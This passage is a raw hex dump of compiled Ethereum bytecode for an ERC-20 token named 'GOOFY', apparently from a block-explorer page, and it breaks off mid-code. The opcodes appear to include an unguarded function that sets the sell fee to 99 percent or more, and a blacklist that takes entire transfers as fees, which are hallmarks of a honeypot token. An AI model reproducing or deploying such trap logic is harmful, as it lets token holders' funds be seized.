b610d3d9190612d52565b905090565b6000610d4c610e40565b905090565b806010819055506063811015610d6657600080fd5b50565b610d71610fab565b73ffffffffffffffffffffffffffffffffffffffff16610d8f610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610de5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddc90612be8565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610ea5610e786000610c1f565b610e97610e8661dead610c1f565b6001546114ba90919063ffffffff16565b6114ba90919063ffffffff16565b905090565b60606040518060400160405280600581526020017f474f4f4659000000000000000000000000000000000000000000000000000000815250905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610f1a338484611192565b6001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b60008183610fc19190612d52565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611038576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102f90612e87565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109e90612f19565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111859190612974565b60405180910390a3505050565b61119d8383836114d0565b6111a78383611641565b6111b283838361173e565b6111bc838361191c565b6111c78383836119e7565b6111d2838383611c26565b61122481600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ba90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006112738484611c4f565b61127d5781611289565b611288848484611cfd565b5b90506112dd81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea590919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161137d9190612974565b60405180910390a350505050565b60008383111582906113d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ca919061286f565b60405180910390fd5b5082840390509392505050565b600081836113ee9190612cc9565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081836114c89190612f39565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361153f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153690612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a590613071565b60405180910390fd5b600081116115f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e890613103565b60405180910390fd5b6115fa83610c1f565b81111561163c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163390613195565b60405180910390fd5b505050565b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116e55750600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561173a57600a60149054906101000a900460ff16611739576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173090613201565b60405180910390fd5b5b5050565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117e25750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561183c5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611876575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561191757611883610cf0565b6118d582600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea590919063ffffffff16565b1115611916576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190d9061326d565b60405180910390fd5b5b505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156119c35750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119e3576001601460008282546119db919061328d565b925050819055505b5050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b2f57611a446107a9565b81111580611a9b5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611aef5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b259061330d565b60405180910390fd5b5b611b37610d19565b81111580611b8e5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611be25750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c189061330d565b60405180910390fd5b505050565b611c31838383611ebb565b15611c4a57611c41601654611ff4565b60006014819055505b505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cf55750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b600080611d0a8585612245565b1115611e9a576000611d42611d1f8686612245565b611d3460125486610fb390919063ffffffff16565b6113e090919063ffffffff16565b9050611d9681600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea590919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e369190612974565b60405180910390a36000600e541115611e7f57611e7e3061dead611e79600e54611e6b60125489610fb390919063ffffffff16565b6113e090919063ffffffff16565b611192565b5b611e9281846114ba90919063ffffffff16565b915050611e9e565b8190505b9392505050565b60008183611eb3919061328d565b905092915050565b60008060175483101590506000601654611ed430610c1f565b10159050601560009054906101000a900460ff16158015611f015750601360009054906101000a900460ff165b8015611f195750600a60149054906101000a900460ff165b8015611f225750815b8015611f785750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611fd15750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015611fe05750600060145410155b8015611fe95750805b925050509392505050565b6001601560006101000a81548160ff02191690831515021790555060006120626002612054600d54612046600c546120386001600b54611ea590919063ffffffff16565b611ea590919063ffffffff16565b611ea590919063ffffffff16565b6113e090919063ffffffff16565b9050600061208d8261207f600b54866113e090919063ffffffff16565b610fb390919063ffffffff16565b905060006120a482856114ba90919063ffffffff16565b905060004790506120b4826123cd565b60006120c982476114ba90919063ffffffff16565b905060006120f46120e5600b54886114ba90919063ffffffff16565b83610fb390919063ffffffff16565b9050600061210d600b54836113e090919063ffffffff16565b90506000811115612123576121228682612610565b5b600061214d600c5461213f6002866113e090919063ffffffff16565b6113e090919063ffffffff16565b905060008111156121b457730636fd14c2d9029e29489750f41302c24cb3d76773ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156121b2573d6000803e3d6000fd5b505b6000479050600081111561221e57730636fd14c2d9029e29489750f41302c24cb3d76773ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561221c573d6000803e3d6000fd5b505b5050505050505050506000601560006101000a81548160ff02191690831515021790555050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122e85750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123035760646012546122fc9190612cc9565b90506123c7565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036123625760105490506123c7565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036123c157600f5490506123c7565b60115490505b92915050565b6000600267ffffffffffffffff8111156123ea576123e961332d565b5b6040519080825280602002602001820160405280156124185781602001602082028036833780820191505090505b50905030816000815181106124305761242f61335c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124fb91906133a0565b8160018151811061250f5761250e61335c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061257630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fc9565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125da9594939291906134d0565b600060405180830381600087803b1580156125f457600080fd5b505af1158015612608573d6000803e3d6000fd5b505050505050565b61263d30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fc9565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080730636fd14c2d9029e29489750f41302c24cb3d767426040518863ffffffff1660e01b81526004016126b89695949392919061352a565b60606040518083038185885af11580156126d6573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906126fb91906135a0565b5050505050565b600080fd5b6000819050919050565b61271a81612707565b811461272557600080fd5b50565b60008135905061273781612711565b92915050565b600080600080600080600060e0888a03121561275c5761275b612702565b5b600061276a8a828b01612728565b975050602061277b8a828b01612728565b965050604061278c8a828b01612728565b955050606061279d8a828b01612728565b94505060806127ae8a828b01612728565b93505060a06127bf8a828b01612728565b92505060c06127d08a828b01612728565b91505092959891949750929550565b600081519050919050565b600082825260208201905092915050565b60005b838110156128195780820151818401526020810190506127fe565b60008484015250505050565b6000601f19601f8301169050919050565b6000612841826127df565b61284b81856127ea565b935061285b8185602086016127fb565b61286481612825565b840191505092915050565b600060208201905081810360008301526128898184612836565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006128bc82612891565b9050919050565b6128cc816128b1565b81146128d757600080fd5b50565b6000813590506128e9816128c3565b92915050565b6000806040838503121561290657612905612702565b5b6000612914858286016128da565b925050602061292585828601612728565b9150509250929050565b60008115159050919050565b6129448161292f565b82525050565b600060208201905061295f600083018461293b565b92915050565b61296e81612707565b82525050565b60006020820190506129896000830184612965565b92915050565b6000806000606084860312156129a8576129a7612702565b5b60006129b6868287016128da565b93505060206129c7868287016128da565b92505060406129d886828701612728565b9150509250925092565b6000602082840312156129f8576129f7612702565b5b6000612a06848285016128da565b91505092915050565b600060ff82169050919050565b612a2581612a0f565b82525050565b6000602082019050612a406000830184612a1c565b92915050565b600080600060608486031215612a5f57612a5e612702565b5b6000612a6d86828701612728565b9350506020612a7e86828701612728565b9250506040612a8f86828701612728565b9150509250925092565b612aa28161292f565b8114612aad57600080fd5b50565b600081359050612abf81612a99565b92915050565b60008060408385031215612adc57612adb612702565b5b6000612aea858286016128da565b9250506020612afb85828601612ab0565b9150509250929050565b612b0e816128b1565b82525050565b6000602082019050612b296000830184612b05565b92915050565b600060208284031215612b4557612b44612702565b5b6000612b5384828501612728565b91505092915050565b60008060408385031215612b7357612b72612702565b5b6000612b81858286016128da565b9250506020612b92858286016128da565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bd26020836127ea565b9150612bdd82612b9c565b602082019050919050565b60006020820190508181036000830152612c0181612bc5565b9050919050565b7f746f74616c46656520616e64207a656e74612063616e6e6f74206265206d6f7260008201527f65207468616e2032302500000000000000000000000000000000000000000000602082015250565b6000612c64602a836127ea565b9150612c6f82612c08565b604082019050919050565b60006020820190508181036000830152612c9381612c57565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612cd482612707565b9150612cdf83612707565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612d1857612d17612c9a565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612d5d82612707565b9150612d6883612707565b925082612d7857612d77612d23565b5b828204905092915050565b7f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560008201527f206c657373207468616e202e3525000000000000000000000000000000000000602082015250565b6000612ddf602e836127ea565b9150612dea82612d83565b604082019050919050565b60006020820190508181036000830152612e0e81612dd2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612e716024836127ea565b9150612e7c82612e15565b604082019050919050565b60006020820190508181036000830152612ea081612e64565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f036022836127ea565b9150612f0e82612ea7565b604082019050919050565b60006020820190508181036000830152612f3281612ef6565b9050919050565b6000612f4482612707565b9150612f4f83612707565b9250828203905081811115612f6757612f66612c9a565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612fc96025836127ea565b9150612fd482612f6d565b604082019050919050565b60006020820190508181036000830152612ff881612fbc565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061305b6023836127ea565b915061306682612fff565b604082019050919050565b6000602082019050818103600083015261308a8161304e565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006130ed6029836127ea565b91506130f882613091565b604082019050919050565b6000602082019050818103600083015261311c816130e0565b9050919050565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b600061317f6031836127ea565b915061318a82613123565b604082019050919050565b600060208201905081810360008301526131ae81613172565b9050919050565b7f74726164696e67416c6c6f776564000000000000000000000000000000000000600082015250565b60006131eb600e836127ea565b91506131f6826131b5565b602082019050919050565b6000602082019050818103600083015261321a816131de565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000600082015250565b6000613257601e836127ea565b915061326282613221565b602082019050919050565b600060208201905081810360008301526132868161324a565b9050919050565b600061329882612707565b91506132a383612707565b92508282019050808211156132bb576132ba612c9a565b5b92915050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b60006132f76011836127ea565b9150613302826132c1565b602082019050919050565b60006020820190508181036000830152613326816132ea565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061339a816128c3565b92915050565b6000602082840312156133b6576133b5612702565b5b60006133c48482850161338b565b91505092915050565b6000819050919050565b6000819050919050565b60006133fc6133f76133f2846133cd565b6133d7565b612707565b9050919050565b61340c816133e1565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613447816128b1565b82525050565b6000613459838361343e565b60208301905092915050565b6000602082019050919050565b600061347d82613412565b613487818561341d565b93506134928361342e565b8060005b838110156134c35781516134aa888261344d565b97506134b583613465565b925050600181019050613496565b5085935050505092915050565b600060a0820190506134e56000830188612965565b6134f26020830187613403565b81810360408301526135048186613472565b90506135136060830185612b05565b6135206080830184612965565b9695505050505050565b600060c08201905061353f6000830189612b05565b61354c6020830188612965565b6135596040830187613403565b6135666060830186613403565b6135736080830185612b05565b61358060a0830184612965565b979650505050505050565b60008151905061359a81612711565b92915050565b6000806000606084860312156135b9576135b8612702565b5b60006135c78682870161358b565b93505060206135d88682870161358b565b92505060406135e98682870161358b565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220031ed06ebe47d3fd7d3fdb222920bcec576d92b2b04222a1b5ad69a02a24881d64736f6c63430008100033

Deployed Bytecode

0x60806040526004361061016a5760003560e01c806370a08231116100d15780638c41180e1161008a57806395d89b411161006457806395d89b4114610525578063a8aa1b3114610550578063a9059cbb1461057b578063dd62ed3e146105b857610171565b80638c41180e146104a65780638da5cb5b146104cf5780639358928b146104fa57610171565b806370a08231146103a8578063715018a6146103e557806378109e54146103fc5780637d1db4a514610427578063893d20e8146104525780638a5583d11461047d57610171565b8063293230b811610123578063293230b81461029a5780632f54bf6e146102b1578063313ce567146102ee57806334c5d2ce146103195780633f4218e01461034257806348ff2b8b1461037f57610171565b8063044019301461017657806306fdde031461019f578063095ea7b3146101ca57806318160ddd146102075780631f976b7e1461023257806323b872dd1461025d57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061019d6004803603810190610198919061273d565b6105f5565b005b3480156101ab57600080fd5b506101b461074b565b6040516101c1919061286f565b60405180910390f35b3480156101d657600080fd5b506101f160048036038101906101ec91906128ef565b610788565b6040516101fe919061294a565b60405180910390f35b34801561021357600080fd5b5061021c61079f565b6040516102299190612974565b60405180910390f35b34801561023e57600080fd5b506102476107a9565b6040516102549190612974565b60405180910390f35b34801561026957600080fd5b50610284600480360381019061027f919061298f565b6107d2565b604051610291919061294a565b60405180910390f35b3480156102a657600080fd5b506102af61089d565b005b3480156102bd57600080fd5b506102d860048036038101906102d391906129e2565b610936565b6040516102e5919061294a565b60405180910390f35b3480156102fa57600080fd5b5061030361098f565b6040516103109190612a2b565b60405180910390f35b34801561032557600080fd5b50610340600480360381019061033b9190612a46565b610998565b005b34801561034e57600080fd5b50610369600480360381019061036491906129e2565b610b28565b604051610376919061294a565b60405180910390f35b34801561038b57600080fd5b506103a660048036038101906103a19190612ac5565b610b48565b005b3480156103b457600080fd5b506103cf60048036038101906103ca91906129e2565b610c1f565b6040516103dc9190612974565b60405180910390f35b3480156103f157600080fd5b506103fa610c68565b005b34801561040857600080fd5b50610411610cf0565b60405161041e9190612974565b60405180910390f35b34801561043357600080fd5b5061043c610d19565b6040516104499190612974565b60405180910390f35b34801561045e57600080fd5b50610467610d42565b6040516104749190612b14565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f9190612b2f565b610d51565b005b3480156104b257600080fd5b506104cd60048036038101906104c89190612ac5565b610d69565b005b3480156104db57600080fd5b506104e4610e40565b6040516104f19190612b14565b60405180910390f35b34801561050657600080fd5b5061050f610e69565b60405161051c9190612974565b60405180910390f35b34801561053157600080fd5b5061053a610eaa565b604051610547919061286f565b60405180910390f35b34801561055c57600080fd5b50610565610ee7565b6040516105729190612b14565b60405180910390f35b34801561058757600080fd5b506105a2600480360381019061059d91906128ef565b610f0d565b6040516105af919061294a565b60405180910390f35b3480156105c457600080fd5b506105df60048036038101906105da9190612b5c565b610f24565b6040516105ec9190612974565b60405180910390f35b6105fd610fab565b73ffffffffffffffffffffffffffffffffffffffff1661061b610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610671576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066890612be8565b60405180910390fd5b86600b8190555085600c8190555084600e8190555083600d8190555082600f8190555081601081905550806011819055506106b86005601254610fb390919063ffffffff16565b600f54111580156106e057506106da6005601254610fb390919063ffffffff16565b60115411155b801561070357506106fd6003601254610fb390919063ffffffff16565b60105411155b610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073990612c7a565b60405180910390fd5b50505050505050565b60606040518060400160405280600581526020017f474f4f4659000000000000000000000000000000000000000000000000000000815250905090565b6000610795338484610fc9565b6001905092915050565b6000600154905090565b60006012546003546107b961079f565b6107c39190612cc9565b6107cd9190612d52565b905090565b60006107df848484611192565b610892843361088d856040518060600160405280602881526020016135f460289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138b9092919063ffffffff16565b610fc9565b600190509392505050565b6108a5610fab565b73ffffffffffffffffffffffffffffffffffffffff166108c3610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610919576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091090612be8565b60405180910390fd5b6000600a60146101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b6109a0610fab565b73ffffffffffffffffffffffffffffffffffffffff166109be610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610a14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0b90612be8565b60405180910390fd5b6000606484610a2161079f565b610a2b9190612cc9565b610a359190612d52565b90506000606484610a4461079f565b610a4e9190612cc9565b610a589190612d52565b90506000606484610a6761079f565b610a719190612cc9565b610a7b9190612d52565b90508560028190555084600381905550836004819055506000610ac2600a610ab46005610aa661079f565b6113e090919063ffffffff16565b610fb390919063ffffffff16565b9050808410158015610ad45750808310155b8015610ae05750808210155b610b1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1690612df5565b60405180910390fd5b50505050505050565b60076020528060005260406000206000915054906101000a900460ff1681565b610b50610fab565b73ffffffffffffffffffffffffffffffffffffffff16610b6e610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610bc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbb90612be8565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c70610fab565b73ffffffffffffffffffffffffffffffffffffffff16610c8e610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdb90612be8565b60405180910390fd5b610cee60006113f6565b565b6000601254600454610d0061079f565b610d0a9190612cc9565b610d149190612d52565b905090565b6000601254600254610d2961079f565b610d339190612cc9565b610d3d9190612d52565b905090565b6000610d4c610e40565b905090565b806010819055506063811015610d6657600080fd5b50565b610d71610fab565b73ffffffffffffffffffffffffffffffffffffffff16610d8f610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610de5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddc90612be8565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610ea5610e786000610c1f565b610e97610e8661dead610c1f565b6001546114ba90919063ffffffff16565b6114ba90919063ffffffff16565b905090565b60606040518060400160405280600581526020017f474f4f4659000000000000000000000000000000000000000000000000000000815250905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610f1a338484611192565b6001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b60008183610fc19190612d52565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611038576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102f90612e87565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109e90612f19565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111859190612974565b60405180910390a3505050565b61119d8383836114d0565b6111a78383611641565b6111b283838361173e565b6111bc838361191c565b6111c78383836119e7565b6111d2838383611c26565b61122481600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ba90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006112738484611c4f565b61127d5781611289565b611288848484611cfd565b5b90506112dd81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea590919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161137d9190612974565b60405180910390a350505050565b60008383111582906113d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ca919061286f565b60405180910390fd5b5082840390509392505050565b600081836113ee9190612cc9565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081836114c89190612f39565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361153f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153690612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a590613071565b60405180910390fd5b600081116115f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e890613103565b60405180910390fd5b6115fa83610c1f565b81111561163c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163390613195565b60405180910390fd5b505050565b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116e55750600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561173a57600a60149054906101000a900460ff16611739576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173090613201565b60405180910390fd5b5b5050565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117e25750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a